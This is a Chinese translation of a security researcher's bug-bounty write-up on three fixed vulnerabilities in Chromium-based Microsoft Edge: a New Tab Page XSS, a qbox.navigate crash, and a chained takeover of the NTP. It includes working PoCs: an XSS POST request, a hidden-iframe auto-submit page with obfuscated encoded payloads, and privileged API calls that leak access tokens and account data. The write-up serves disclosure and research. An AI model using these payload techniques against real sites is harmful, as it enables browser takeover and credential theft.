Edge浏览器(Chromium)——从XSS到接管网页 – 作者:白帽汇

22.png

微软早前宣布他们将发布基于Chromium的Edge浏览器。继谷歌Chrome之后,微软的Edge将成为第二款基于Chromium的浏览器。

在2019年8月20日,微软宣布了一项新的漏洞奖励计划,主要针对基于Chromium的Edge浏览器。该项目规定,只有针对微软的代码所开发的攻击才能得到赏金,这意味着攻击面非常小。但为了弥补这一点,微软愿意提供了两倍的奖励。这意味着这款新浏览器中一个过审的漏洞可能价值3万美元。

在这篇文章中,我将解释是如何在这个新浏览器中发现3个不同的漏洞,从而赚到4万美元。我还惊喜地发现,我报告了这个项目中第一个有效漏洞。

New Tab Page (NTP) XSS

新标签页(NTP)是打开浏览器或打开新标签时看到的第一个页面。当然也有其他例外,我说的是默认设置下。NTP在新Edge浏览器中的一个独特之处在于它实际上是一个在线网站,地址为:

https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing

火狐的内置页是about:home/about:newtab,Chrome浏览器的是chrome-search://local-ntp/local-ntp.html。我们现在必须寻找微软对Chromium所做的新改动,这样才能拿到赏金。

这个漏洞的发现其实是一个意外。当我第一次打开新Edge浏览器时,我从未过多注意NTP,而是直接研究相对于Chromium来说比较独特的功能,被称Collections,尽管当时它貌似和悬赏无关,并且只能通过某个标志启用。但我仍然想看看是否能找到突破口。

Collections就像一个更强大、功能更丰富的书签,一旦你将一个网站添加到Collections中,它将获取标题、描述和图像,然后将其保存并以Twitter card的形式显示。所以其中一个测试是看看一旦我保存了一个标题中有HTML标签的网页,Collections栏是否会渲染标题中的HTML代码。测试后,发现答案是否定的。

研究了一会儿还是无效果,于是我决定暂去睡觉。到了第二天早上,当我打开新款Edge浏览器决定进行下一轮测试时,迎接我的是以下NTP:

33.png

你看到了吗?上图中那个又小又粗的字母“a”?

因为这是一个新的浏览器,所以我访问的所有网站几乎都会成为“顶部推荐”,展示在NTP中,而且貌似没有进行安全过滤。是的,现在没有任何东西阻止我执行javascript代码,以下是一段简单的PoC视频:

44.png

https://leucosite.com/Edge-Chromium-EoP-RCE/NTP-TOPSITE-XSS.mp4

你可能还没意识到这个漏洞的重要性。NTP上的XSS有什么用?实际上,NTP是一个高权限页面。我们在基于Chromium的浏览器上通过查看chromejavascript对象内部数据来进行测试。

下图对比了普通网站上的chrome对象和Edge设置页面上的chrome对象。

55.png

其中edge://settings/profiles包含更多的功能,而这些额外的功能也是我们感兴趣的高权限功能。

到目前为止,我们已将JS代码注入到高权限的页面中,从而实现了非法提权(EoP)。现在让我们来探索一下,在这种特殊的环境下,我们能做些什么。

潜在RCE

我开始研究那些高权限函数,看看是否能帮助我执行命令。很快我便在chrome.qbox上发现了一个未被记录的对象,我在网络上找不到任何和它有关的详细资料。我猜测这一定是一个微软独有的对象,那它到底是什么呢?

66.png

https://leucosite.com/Edge-Chromium-EoP-RCE/qbox.mp4

我发现chrome.qbox.navigate中有一个特殊的功能,通过报错消息,发现它需要一个类型为qbox.NavigationItem的对象。

经过后续测试后,我发现我可以将一个JSON对象传递给这个函数,而这个JSON对象至少包含一个“url”和“id”。这就是不报错所需要的最少参数。

chrome.qbox.navigate({id:0,url:""})

很好,但可惜除了不报错它什么也没做,我期待能弹出窗口或发生一些明显的改变,但什么都没有。所以我尝试遍历了一下“id”和“url”的值,直到最后我执行以下操作:

chrome.qbox.navigate({id:999999,url:null})

一旦执行,Edge浏览器就消失了。我检查了一下crashdump文件夹,并找到以下信息:

(69a4.723c): Access violation - code c0000005 (first/second chance not available)
ntdll!NtDelayExecution+0x14:
00007ffd`9fddc754 c3  ret

可能是因为参数不可用。

rax=000001ff5651ba80 rbx=000001ff5651ba80 rcx=000001ff5651ba80
rdx=3265727574786574 rsi=000001ff5651ba80 rdi=0000009eb9bfd4f0
rip=00007ffd17814b40 rsp=0000009eb9bfd300 rbp=000001ff4fec30a0
 r8=000000000000008f  r9=0000000000000040 r10=0000000000000080
r11=0000009eb9bfd290 r12=000000000000006f r13=0000009eb9bfda90
r14=0000009eb9bfd478 r15=00000094b5d14064
iopl=0 nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010206
msedge!ChromeMain+0x9253e:
00007ffd`17814b40 488b02  mov rax,qword ptr [rdx] ds:32657275`74786574=????????????????
Resetting default scope

FAULTING_IP: 
msedge!ChromeMain+9253e
00007ffd`17814b40 488b02  mov rax,qword ptr [rdx]

EXCEPTION_RECORD:  (.exr -1)
ExceptionAddress: 00007ffd17814b40 (msedge!ChromeMain+0x000000000009253e)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 0000000000000000
   Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  msedge.exe

不过我仔细研究了一下,看来这是一个可利用的崩溃。我没有专研过内存漏洞,所以不得不重新阅读和此有关的MDN文件。我不停地探索qbox.navigate函数,设法产生不同的崩溃,最后我确定肯定有一个可利用的崩溃(RCE)!下面是第二种PoC:

<html>
<head>
<title>test<iframe/src=1/ onload=chrome.qbox.navigate(JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")))></title>
<body>
q
</body>
</html>

而这一点得到了微软的证实,事实上,之前的两个漏洞(XSS和崩溃)分别让我得到了1.5万和1万美元的奖励。从技术上讲,我已发现了新Edge浏览器的两个漏洞!

接管目标

在之前的漏洞(XSS)中有一点很突出,那就是它依赖于ntp.msn.com来渲染HTML代码。那么,为什么不把ntp.msn.com作为一个不错的老Web应用来进行渗透测试呢?我所需要的就是一个XSS,以及去触发浏览器的某个漏洞。

当访问[https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz](https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz)时,我注意到,它看起来就像一个正常的NTP,只是没有正确加载,而正常的NTP页面[https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing](https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing)几乎总是使用某种缓存机制加载,两者源代码似乎也有所不同。

我使用Burpsuite去对[https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz](https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz)进行研究,然后发现假如设置一个cookiedomainId,那么它将出现在非正常的NTP页面中的script标签中。由于这里不存在任何安全检查,所以我可以使用cookie将恶意代码注入这个页面。

利用cookie攻击测试的好处是,你可以设置在给定域名下属的所有子域中都使用该cookie。所以我只需要在任何MSN子域中找到一个XSS,使用它设置一个cookie,这样非正常的NTP页面便会执行恶意JS。后来我在[http://technology.za.msn.com](http://technology.za.msn.com)中找到了个XSS,可惜这个网站现在被删除了,它似乎是一个被遗忘的子域名,使用了非常老旧的技术。我发现当向这个网站发送一个恶意的POST请求时,会导致这个网站出现一条错误消息,其中变量值没有安全过滤,相关PoC如下:

POST /pebble.asp?relid=172 HTTP/1.1
Host: technology.za.msn.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xm l,application/xm l;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://technology.za.msn.com
Connection: close
Referer: http://technology.za.msn.com/pebble.asp?relid=172
Cookie: PublisherUserProfile=userprofileid=322220CC%2D9964%2D47F9%2DAE30%2D2222258E99A4; PublisherSession=uid=DIN2DWDWDFWWW7L3OHA5N6; ASPSESSIONIDSCCQSRDS=EOJQQDDFGGGEEPCPNFOBL; _ga=GA1.q.21062224016.4569609491; _gid=GA1.q.1840897607.1569609491; _gat=1; __utma=2qq77qq6.21qqqq4016.156qqqq9491.156960qqq.qqqqqq91.1; __utmb=201977236.1.10.1569609491; __utmc=201977236; __utmz=201977236.1569609491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __gads=ID=qqqq5dd817qqqb4:T=1562229492:S=ALNI_MZUnsEhqqqqjxzklxqqqqqJHo1A
Upgrade-Insecure-Requests: 1

startnum=90'<b>xss</b>

唯一的缺点是,当出现错误时,服务器需要大约需要42秒才能做出响应。也许我们需要想办法去解决它。在服务器响应后,我们发现<b>xss</b>会渲染在页面中,用一个通用的XSS向量去替换它就会导致JS代码执行。由于不存在X-frame-OPTIONS,所以我可以在自己的网站嵌入一个iframe,指向目标网站,执行所需的恶意POST请求。这样受害者就被XSS所攻击,cookie被改变。

正如我之前提到的,XSS是工作在非正常的NTP网页上,而不是默认/正常的NTP网页,而普通的NTP会使用localStorage中的一个条目进行缓存。这并不是一个大问题,因为非正常和正常的NTP页面都是相同的源,我能够访问localStorage中的相关条目,并将我最终的JS代码添加到缓存的HTML中。现在,我就可以接管NTP页面了。

你可能想知道接管NTP的危险是什么,正如我前面提到的,NTP页面是一个高权限页面,所以我们能够访问一些非常有趣的函数,它们可以做很多有趣的事情。以下是我认为的恶意动作:

1.要求Edge用户使用他们的Microsoft帐户登录,由于NTP是官方网页,所以用户很信任它。

2.访问chrome.authPrivate.acquireAccessTokenSilent,这可能会泄漏用户的访问令牌并执行恶意操作。

3.使用chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})泄露用户信息,显示电子邮件地址和帐号。

4.使用chrome.embeddedSearch.searchBox.paste("file:///C://")诱骗用户访问本地文件。

5.使用chrome.embeddedSearch.newTabPage.updateCustomLink(i,"[http://www.g.com](http://www.g.com)","[http://www.g.com](http://www.g.com)")编辑位于NTP中的顶端站点。

6.使用chrome.ntpSettingsPrivate.setPref设置的所有可改变项。

7.持续跟踪用户和伪造MSN内容,我们可以像现在许多恶意插件那样注入虚假广告。

总结

让我们总结一下攻击流程:

1.诱骗受害者访问我们的恶意网站

2.恶意网站中隐形的iframe会使用POST请求将XSS发送到technology.za.msn.com

3.在大约42秒后,XSS成功在technology.za.msn.com中触发

4.technology.za.msn.com中的XSS会添加一个cookiedomainId,其中包含第二个payload

5.受害者接着被重定向到非正常的NTP页面[https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz](https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz)

6.一旦[https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz](https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz)被加载,domainId中的XSS成功被渲染

7.这个XSS会查看localStorage,并在缓存的HTML代码的开头插入我们的最终payload。

此时,NTP已经被完全接管,当用户打开一个新的选项卡时,最终的payload将一直被触发!我向微软报告了这一漏洞,收到了15000美元的奖励。

PoC和视频

我大量使用编码的原因是由于domainId中的字符有使用限制。

<html>
<head>

<body>
<iframe src="about:blank" id="qframe" name="msn" style="opacity:0.001"></iframe>
<h1>Loading...(ETA 42secs)</h2>
<form id="qform" target="msn" action="http://technology.za.msn.com/pebble.asp?relid=172" method="post">
<!--
Encoded payload (Executes in 'technology.za.msn.com')
---------------------------------------------------------------------
(qd = new Date()).setMonth(qd.getMonth() + 12);
document.cookie = "domainId=" + 
                  ('q"*' 
                  + unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71') 
                  + '*"q') 
                  + ";expires=" 
                  + qd 
                  + ";domain=.msn.com;path=/";
---------------------------------------------------------------------
unescaped value above (Executes in broken 'ntp.msn.com'), this is all one line and im using with(){} a lot because semicolon not allowed.
---------------------------------------------------------------------
function() {
        for (q in localStorage) {
    if (q.indexOf('lastKnown') > -1) {
        with(qntpobj = JSON.parse(localStorage[q])) {
            qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom
        }
        with(qab = qntpobj) {
            localStorage[q] = JSON.stringify(qab)
        }
    }
}

}()
---------------------------------------------------------------------
unescaped value above (Executes in normal 'ntp.msn.com')
---------------------------------------------------------------------
<SvG/onload='document.write(/@qab/.source)'>
-->
  <input  type="hidden" name="startnum" value="90'<SvG/onload=eval(unescape('%28%71%64%3d%20%6e%65%77%20%44%61%74%65%28%29%29%2e%73%65%74%4d%6f%6e%74%68%28%71%64%2e%67%65%74%4d%6f%6e%74%68%28%29%20%2b%20%31%32%29%3b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3d%22%64%6f%6d%61%69%6e%49%64%3d%22%2b%28%75%6e%65%73%63%61%70%65%28%27%25%37%31%25%32%32%25%32%61%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%37%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%31%25%32%30%25%36%39%25%36%65%25%32%30%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%32%39%25%37%62%25%36%39%25%36%36%25%32%38%25%37%31%25%32%65%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%34%66%25%36%36%25%32%38%25%32%37%25%36%63%25%36%31%25%37%33%25%37%34%25%34%62%25%36%65%25%36%66%25%37%37%25%36%65%25%32%37%25%32%39%25%33%65%25%32%64%25%33%31%25%32%39%25%37%62%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%32%39%25%32%39%25%37%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%33%64%25%37%35%25%36%65%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%36%33%25%32%35%25%33%35%25%33%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%34%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%34%25%33%31%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%33%30%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%36%35%25%32%37%25%32%39%25%32%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%37%64%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%31%25%36%32%25%33%64%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%39%25%37%62%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%36%39%25%36%36%25%37%39%25%32%38%25%37%31%25%36%31%25%36%32%25%32%39%25%37%64%25%37%64%25%37%64%25%37%64%25%32%38%25%32%39%25%32%61%25%32%32%25%37%31%27%29%29%2b%22%3b%65%78%70%69%72%65%73%3d%22%2b%71%64%2b%22%3b%64%6f%6d%61%69%6e%3d%2e%6d%73%6e%2e%63%6f%6d%3b%70%61%74%68%3d%2f%22%3b'))">

</form>
<script>
qframe.onload=e=>{
 setTimeout(function(){
 location="https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz";
 },1000)
}

qform.submit();
</script>
</body>
</html>

视频地址:https://leucosite.com/Edge-Chromium-EoP-RCE/NTP-XSS-FULL.MP4

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/3616.html
来源:https://leucosite.com/Edge-Chromium-EoP-RCE/

来源:freebuf.com 2019-12-25 17:10:39 by: 白帽汇

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论